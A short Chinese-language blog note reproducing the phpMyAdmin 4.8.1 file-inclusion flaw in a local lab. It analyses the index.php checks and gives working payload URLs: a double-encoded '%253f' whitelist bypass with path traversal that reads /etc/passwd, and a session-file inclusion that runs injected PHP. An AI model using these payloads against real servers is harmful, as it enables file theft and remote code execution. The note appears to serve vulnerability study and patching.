PHPMyAdmin4.8.1任意文件读取漏洞复现
- 2019 年 10 月 6 日
- 笔记
漏洞影响版本: 4.8.1
0X1 环境搭建
下载源码包之后本地搭建放置在phpstudy的WWW目录下即可。
访问环境,不需要密码即可登录到phpmyadmin页面

0X2 漏洞分析
漏洞问题出在index.php的第53行开始位置:

target参数没有过滤,并且直接include,很显然是LFI的前奏
第57行限制 target 参数不能以index开头
第58行限制 target 参数不能出现在 $target_blacklist 内
找到 $target_blacklist 的定义:

就在 /index.php 的第50行
只要 target 参数不是import.php 或 export.php 就行
最后一个限制是如下方法

问题出现在了第 465 行的urldecode()
我们可以利用这个函数绕过白名单检测!
我把 ? 两次url编码为 %253f 即可绕过验证!

0X3 漏洞利用
最后的payload是:
http://10.10.1.26:8082/index.php?target=db_sql.php%253f/../../../../../../etc/passwd
访问之后得到passwd结果

写入shell,测试语句:<?php phpinfo();exit;?>
Bp抓包获取本地的cookie值:

访问:
http://10.10.1.26:8082/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_de2e83061d3002f6418823905abb63cb

0X4 漏洞修复
升级到最新版即可